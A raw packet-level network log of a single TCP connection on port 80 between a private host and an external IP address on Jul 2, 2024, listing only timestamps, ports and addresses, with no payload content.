Jul 2, 2024 22:52:33.624521971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624546051 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.624567986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.624617100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624625921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624653101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.624793053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624804020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624814987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624825954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624834061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.624854088 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.624970913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624980927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624989986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625000000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625006914 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.625015020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625030994 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.625049114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.625175953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625186920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625195980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625221014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.625312090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625386000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625391006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.625396013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625406981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625442028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.625591993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625607967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625618935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625627041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.625628948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625646114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625650883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.625662088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625672102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625679970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.625682116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625690937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625699997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625705957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.625710964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625720978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625730038 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.625730038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625740051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625747919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625757933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625760078 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.625768900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625778913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.625778913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625783920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625792980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625802040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625811100 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.625830889 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.625838995 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.625875950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625886917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625895977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625904083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.625921011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.625946999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.626629114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.626641035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.626655102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.626684904 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.626769066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.626780033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.626816034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.626910925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.626920938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.626930952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.626957893 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.626967907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.627055883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.627065897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.627074957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.627088070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.627098083 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.627099037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.627109051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.627119064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.627124071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.627149105 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.627178907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.627218962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.627365112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.627374887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.627384901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.627396107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.627405882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.627414942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.627418041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.627423048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.627437115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.627458096 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.711193085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.711215973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.711225986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.711311102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.711328983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.711349964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.711380005 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.711473942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.711488962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.711498022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.711518049 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.711532116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.711884975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.711894035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.711904049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.711919069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.711930037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.711939096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.711941957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.711949110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.711965084 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.711991072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.712023020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712033033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712042093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712052107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712059021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.712083101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.712106943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712116957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712126017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712153912 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.712171078 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.712229013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712239027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712249994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712269068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712279081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712280989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.712289095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712297916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712302923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712305069 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.712343931 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.712562084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712572098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712583065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712618113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.712733984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712744951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712754011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712764025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712773085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712784052 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.712810040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.712820053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712874889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712884903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712923050 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.712955952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712966919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712975979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.712986946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713007927 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.713113070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713123083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713131905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713141918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713152885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713162899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713165045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.713174105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713182926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713185072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.713192940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713207006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.713238955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.713371992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713382006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713392019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713401079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713411093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713419914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713419914 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.713429928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713438034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.713439941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713449955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713459969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713462114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.713469028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.713473082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.713498116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.757658958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.945929050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.945944071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.945955038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946003914 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.946057081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946065903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946077108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946088076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946094036 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.946098089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946121931 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.946144104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.946192026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946202040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946212053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946221113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946230888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946237087 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.946239948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946249962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946259022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946266890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946274996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946285963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946315050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946322918 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.946322918 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.946322918 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.946327925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946336031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946346045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946361065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.946384907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.946530104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946538925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946547985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946557999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946566105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946576118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.946576118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946585894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946594954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.946594954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946604967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946615934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946619034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.946633101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946635962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.946643114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946655035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946660042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946660042 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.946670055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946674109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.946679115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946693897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946702957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.946707010 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.946743965 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.947555065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947566986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947576046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947586060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947594881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947598934 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.947604895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947613955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947617054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.947623968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947633982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947642088 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.947643995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947650909 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.947664022 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.947691917 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.947874069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947882891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947892904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947905064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947917938 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.947927952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947940111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947941065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.947951078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947959900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947969913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947978973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947981119 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.947988987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.947999001 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948012114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948066950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948076963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948086023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948096037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948110104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948139906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948204041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948215008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948224068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948232889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948235035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948256969 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948257923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948267937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948277950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948287010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948293924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948297977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948303938 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948307037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948317051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948324919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948328972 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948335886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948345900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948354006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948359013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948364973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948379040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948398113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948684931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948694944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948704958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948714972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948724031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948724031 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948734999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948745012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948749065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948755026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948756933 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948765039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948791027 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948812008 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948847055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948873997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948889971 CEST	80	49712	77.221.149.185	192.168.2.5
